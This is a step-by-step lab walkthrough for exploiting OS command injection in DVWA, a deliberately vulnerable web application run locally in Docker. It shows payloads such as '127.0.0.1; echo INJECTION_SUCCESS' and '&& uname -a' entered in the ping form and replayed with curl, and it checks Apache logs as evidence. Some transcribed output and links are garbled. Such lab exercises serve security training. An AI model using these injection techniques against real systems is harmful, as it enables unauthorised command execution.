

## DVWA Website Login

Start DVWA locally using Docker and open the DVWA web UI.

1. Refresh package lists:

```
sudo apt update
```

2. Install Docker:

```
sudo apt install -y docker.io
```

3. Enable & start Docker daemon:

```
sudo systemctl enable --now docker
```

4. (Optional but recommended) Allow your user to run Docker without sudo:

```
sudo usermod -aG docker $USER
```

5. Start the DVWA container (pulls image if needed):

```
sudo docker run --rm -d --name dvwa -p 8080:80 vulnerables/web-dvwa
```

6. Verify it's running:

```
sudo docker ps
```

### Open DVWA in the browser

Open one of these URLs in the VM browser (use whichever works; /index.php or root):

<http://127.0.0.1:8080/>  
Click on Create/Reset DB

Default credentials (DVWA):

- **Username:** admin
- **Password:** password

After login: **DVWA Security → set to LOW** for the demo.

## COMMAND INJECTION

**Open the DVWA Command Injection page**

From the DVWA menu choose **Command Injection**

### 2 — Baseline: confirm ping output (safe)

1. In the Command Injection input box enter:

127.0.0.1

2. Click **Submit**.

3. Expected: you should see ping output (ICMP replies) in the page — this proves the server executed ping <your-input>.

The screenshot shows the DVWA Command Injection page. The left sidebar has a 'Command Injection' button highlighted in green. The main content area has a heading 'Vulnerability: Command Injection'. Below it, a section titled 'Ping a device' contains a form with a text input field containing '127.0.0.1' and a 'Submit' button. To the right of the input field, the output of a ping command is shown in red text:  
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
64 bytes from 127.0.0.1: icmp\_seq=0 ttl=64 time=0.293 ms  
64 bytes from 127.0.0.1: icmp\_seq=1 ttl=64 time=0.332 ms  
64 bytes from 127.0.0.1: icmp\_seq=2 ttl=64 time=0.071 ms  
64 bytes from 127.0.0.1: icmp\_seq=3 ttl=64 time=0.299 ms  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 packets received, 0% packet loss  
round-trip min/avg/max/stddev = 0.071/0.249/0.332/0.104 ms

Below this, there's a 'More Information' section with links to external resources:

- <http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution>
- <http://www.ss64.com/bash/>
- <http://www.ss64.com/nt/>
- [https://www.owasp.org/index.php/Command\\_Injection](https://www.owasp.org/index.php/Command_Injection)

At the bottom, there are links for 'View Source' and 'View Help'. The footer shows the user is 'admin' with 'low' security level and 'disabled' PHPIDS.

### 3 — Safe proof-of-concept injections (demonstrate control)

Paste one of these into the same input box and **Submit**:

- Echo marker

127.0.0.1; echo INJECTION\_SUCCESS

- ; runs the next command regardless of the previous exit status.

The screenshot shows the DVWA Command Injection page. On the left is a sidebar with various exploit categories: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection (which is selected and highlighted in green), CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored), CSP Bypass, JavaScript, DVWA Security, PHP Info, About, and Logout. The main content area has a title "Vulnerability: Command Injection" and a sub-section "Ping a device". A form asks "Enter an IP address:" followed by a text input containing "127.0.0.1; echo INJECTION\_SUCCESS" and a "Submit" button. Below the form is a red terminal-style output window displaying the results of a ping command: "PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp\_seq=0 ttl=64 time=0.041 ms 64 bytes from 127.0.0.1: icmp\_seq=1 ttl=64 time=0.052 ms 64 bytes from 127.0.0.1: icmp\_seq=2 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp\_seq=3 ttl=64 time=0.052 ms --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.041/0.049/0.052/0.000 ms INJECTION\_SUCCESS". Below this is a "More Information" section with links to external resources. At the bottom left, it says "Username: admin Security Level: low PHPIDS: disabled". At the bottom right, there are "View Source" and "View Help" buttons.

- Print system info

127.0.0.1 && uname -a

- && runs the next command only if the previous succeeded.
- || runs the next command only if the previous failed.

**DVWA**

## Vulnerability: Command Injection

**Ping a device**

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.039 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.047 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.053 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.055 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.039/0.048/0.055/0.000 ms
Linux f7dlab310e13 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 GNU/Linux
```

**More Information**

- <http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution>
- <http://www.ss64.com/bash/>
- <http://www.ss64.com/nt/>
- [https://www.owasp.org/index.php/Command\\_Injection](https://www.owasp.org/index.php/Command_Injection)

Username: admin  
Security Level: low  
PHPIDS: disabled

- Short local ping

127.0.0.1; ping -c 2 127.0.0.1



## Vulnerability: Command Injection

### Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.039 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.048 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.039/0.045/0.049/0.000 ms
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.039 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.039/0.041/0.042/0.000 ms
```

### More Information

- <http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution>
- <http://www.ss64.com/bash/>
- <http://www.ss64.com/nt/>
- [https://www.owasp.org/index.php/Command\\_Injection](https://www.owasp.org/index.php/Command_Injection)

DVWA Security

PHP Info

About

Logout

Username: admin  
Security Level: low  
PHPIDS: disabled

[View Source](#) [View Help](#)

## 4 — Capture & replay the request using DevTools → cURL

If you want to show the request → server flow exactly

### A. Capture the request

1. Open DevTools → Network.

To open DevTools- Press **Ctrl + Shift + I** in the same window

The screenshot shows the DVWA Command Injection page. In the main content area, there is a "Ping a device" form with the IP address "127.0.0.1" entered. Below the form, the output of the ping command is displayed:

```
PING 127.0.0.1 (127.0.0.1) 56 data bytes
64 bytes from 127.0.0.1: icmp seq=0 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: icmp seq=1 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp seq=2 ttl=64 time=0.109 ms
64 bytes from 127.0.0.1: icmp seq=3 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp seq=4 ttl=64 time=0.042 ms
...
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.042/0.066/0.109/0.028 ms
```

Below the ping output, there is a "More Information" section with links to various resources:

- <http://www.script.com/exp/2530476/Php-Endangers-Remote-Code-Execution>
- <http://www.xss4.com/hash/>
- <http://www.xss4.com/mal/>
- [https://www.owasp.org/index.php/Command\\_Injection](https://www.owasp.org/index.php/Command_Injection)

At the bottom of the page, a Network tab is selected, showing a list of network requests and responses. One POST request to "/vulnerabilities/exec/" is highlighted.

2. Submit DVWA form once with 127.0.0.1.
3. In Network list locate the request (likely POST /vulnerabilities/exec/).
4. Right-click → **Copy** → **Copy as cURL**.

The screenshot shows the DVWA Command Injection page with a context menu open over a POST request to "/vulnerabilities/exec/". The menu has several options, and "Copy as cURL" is highlighted in blue.

The main content area of the DVWA page shows the same ping output and information as the previous screenshot.

At the bottom of the page, a Network tab is selected, showing a list of network requests and responses. One POST request to "/vulnerabilities/exec/" is highlighted.

## cURL code

```
curl 'http://127.0.0.1:8080/vulnerabilities/exec/#'
```

```
--compressed \
```

```
-X POST \
```

```
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0'\
```

```

-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate, br, zstd' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://127.0.0.1:8080' \
-H 'Connection: keep-alive' \
-H 'Referer: http://127.0.0.1:8080/vulnerabilities/exec/' \
-H 'Cookie: PHPSESSID=8q112t7gfq785uo1lhspas0tc6; security=low' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Sec-Fetch-Dest: document' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
-H 'Priority: u=0, i' \
--data-binary 'ip=127.0.0.1&Submit=Submit'

```

## B. Modify & replay

1. Paste the copied curl into a terminal/editor. (**Above code**)
2. In the POST data change ip=127.0.0.1 → ip=127.0.0.1; echo INJECTION\_SUCCESS (keep cookies & tokens unchanged).
3. Run the modified curl: (**In Command Prompt**)

```

curl 'http://127.0.0.1:8080/vulnerabilities/exec/' \
--compressed \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \

```

```

-H 'Accept-Encoding: gzip, deflate, br, zstd' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://127.0.0.1:8080' \
-H 'Connection: keep-alive' \
-H 'Referer: http://127.0.0.1:8080/vulnerabilities/exec/' \
-H 'Cookie: PHPSESSID=8q112t7gfq785uo1lhspas0tc6; security=low' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Sec-Fetch-Dest: document' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
-H 'Priority: u=0, i' \
--data-raw 'ip=127.0.0.1; echo INJECTION_SUCCESS&Submit=Submit'

```

4. Inspect the terminal output — you'll see the DVWA HTML that includes INJECTION\_SUCCESS.

```

(kali㉿kali)-[~]
└─$ curl 'http://127.0.0.1:8080/vulnerabilities/exec#' \
--compressed \
--request POST \
--data-raw 'ip=127.0.0.1; echo INJECTION_SUCCESS&Submit=Submit'
HTTP/1.1 200 OK
Date: Mon, 11 Jul 2022 12:12:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 103
Connection: close
Set-Cookie: PHPSESSID=8q112t7gfq785uo1lhspas0tc6; security=low; expires=Mon, 11-Jul-2022 12:12:19 UTC; path=/; HttpOnly; SameSite=None
Set-Cookie: security=low; expires=Mon, 11-Jul-2022 12:12:19 UTC; path=/; HttpOnly; SameSite=None
Content-Language: en-US,en;q=0.5
Accept-Ranges: none
Vary: User-Agent
Content-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://127.0.0.1:8080
Connection: keep-alive
Referer: http://127.0.0.1:8080/vulnerabilities/exec/
Cookie: PHPSESSID=8q112t7gfq785uo1lhspas0tc6; security=low
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
--data-raw 'ip=127.0.0.1; echo INJECTION_SUCCESS&Submit=Submit'

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Vulnerability: Command Injection :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>
    <link rel="stylesheet" type="text/css" href="../../dvmw/css/main.css" />
    <link rel="icon" type="image/ico" href="../../dvmw/favicon.ico" />
    <script type="text/javascript" src="../../dvmw/js/dvwaPage.js"></script>
  </head>
  <body class="home">
    <div id="container">
      <div id="header">
        
      </div>
      <div id="main_menu">
        <div id="main_menu_padded">
          <ul class="menuBlocks"><li class=""><a href="#">Home</a></li>

```

```

Session Actions Edit View Help


- <a href=" ../../instructions.php">Instructions</a></li>
- <a href=" ../../setup.php">Setup / Reset DB</a></li>


- <a href=" ../../vulnerabilities/brute/">Brute Force</a></li>
- <a href=" ../../vulnerabilities/exec/">Command Injection</a></li>
- <a href=" ../../vulnerabilities/csrf/">CSRF</a></li>
- <a href=" ../../vulnerabilities/fi/.page=include.php">File Inclusion</a></li>
- <a href=" ../../vulnerabilities/upload/">File Upload</a></li>
- <a href=" ../../vulnerabilities/captcha/">Insecure CAPTCHA</a></li>
- <a href=" ../../vulnerabilities/sqli/">SQL Injection</a></li>
- <a href=" ../../vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li>
- <a href=" ../../vulnerabilities/weak_id/">Weak Session IDs</a></li>
- <a href=" ../../vulnerabilities/xss_d/">XSS (DOM)</a></li>
- <a href=" ../../vulnerabilities/xss_r/">XSS (Reflected)</a></li>
- <a href=" ../../vulnerabilities/xss_s/">XSS (Stored)</a></li>
- <a href=" ../../vulnerabilities/csp/">CSP Bypass</a></li>
- <a href=" ../../vulnerabilities/javascript/">JavaScript</a></li>


- <a href=" ../../security.php">DVWA Security</a></li>
- <a href=" ../../phpinfo.php">PHP Info</a></li>
- <a href=" ../../about.php">About</a></li>


- <a href=" ../../logout.php">Logout</a></li>

```

## Vulnerability: Command Injection

### Ping a device

Enter an IP address:

```

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.046 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.043/0.045/0.046/0.000 ms
INJECTION_SUCCESS

```

## 5— Replay proof using your captured curl (request→response)

Edit your copied curl; change only --data-raw:

Show marker in terminal (grep):

```
<the-curl-above> 2>/dev/null | grep -C2 INJECTION_SUCCESS || echo "marker not found"
```

This proves the request can be replayed outside the browser and returns the same injected output.

```
(kali㉿kali)-[~]
└─$ curl 'http://127.0.0.1:8080/vulnerabilities/exec/#' \
--compressed \
-X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate, br, zstd' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://127.0.0.1:8080' \
-H 'Connection: keep-alive' \
-H 'Referer: http://127.0.0.1:8080/vulnerabilities/exec/' \
-H 'Cookie: PHPSESSID=8q112t7gfq785uo1hspas0tc6; security=low' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Sec-Fetch-Dest: document' \
-H 'Sec-Fetch-Mode: navigate' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Sec-Fetch-User: ?1' \
-H 'Priority: 0, 1' \
--data-raw 'ip=127.0.0.1; echo INJECTION_SUCCESS&Submit=Submit' 2>/dev/null | grep -C2 INJECTION_SUCCESS || echo "marker not found"
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.044/0.050/0.057/0.000 ms
INJECTION_SUCCESS
</pre>
</div>
```

## 6 — Forensic evidence in server logs (best for write-up)

Tail the Apache access log inside the container (host command):

```
sudo docker exec -it dvwa bash -lc 'tail -n 120 /var/log/apache2/access.log'
```

Look for the request/time that matches your test — you'll see the request entry (timestamp, path). Optionally grep for vulnerabilities/exec or your session time.

```
(kali㉿kali)-[~]
└─$ sudo docker exec -it dvwa bash -lc 'tail -n 120 /var/log/apache2/access.log'
[sudo] password for kali:
172.17.0.1 - - [27/Oct/2025:09:42:16 +0000] "GET / HTTP/1.1" 302 479 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:16 +0000] "GET /login.php HTTP/1.1" 200 1049 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:16 +0000] "GET /dvwa/css/login.css HTTP/1.1" 200 741 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:16 +0000] "GET /dvwa/images/login_logo.png HTTP/1.1" 200 9375 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:16 +0000] "POST /login.php HTTP/1.1" 302 337 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:27 +0000] "POST /login.php HTTP/1.1" 302 337 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:27 +0000] "GET /setup.php HTTP/1.1" 200 2037 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:32 +0000] "POST /setup.php HTTP/1.1" 302 338 "http://127.0.0.1:8080/setup.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:32 +0000] "GET /setup.php HTTP/1.1" 200 2171 "http://127.0.0.1:8080/setup.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:37 +0000] "POST /setup.php HTTP/1.1" 302 337 "http://127.0.0.1:8080/setup.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:37 +0000] "GET /login.php HTTP/1.1" 200 1249 "http://127.0.0.1:8080/setup.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:42 +0000] "GET /login.php HTTP/1.1" 200 1050 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:53 +0000] "POST /login.php HTTP/1.1" 302 337 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:53 +0000] "GET /index.php HTTP/1.1" 200 3036 "http://127.0.0.1:8080/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:42:58 +0000] "GET /vulnerabilities/exec/ HTTP/1.1" 200 1715 "http://127.0.0.1:8080/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:43:14 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1897 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:43:49 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1913 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:44:13 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1978 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:44:29 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1924 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:48:40 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1897 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:09:55:19 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1722 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:10:08:20 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1909 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:10:23:30 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1898 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:10:24:04 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1897 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [27/Oct/2025:11:15:06 +0000] "POST /vulnerabilities/exec/ HTTP/1.1" 200 1914 "http://127.0.0.1:8080/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
```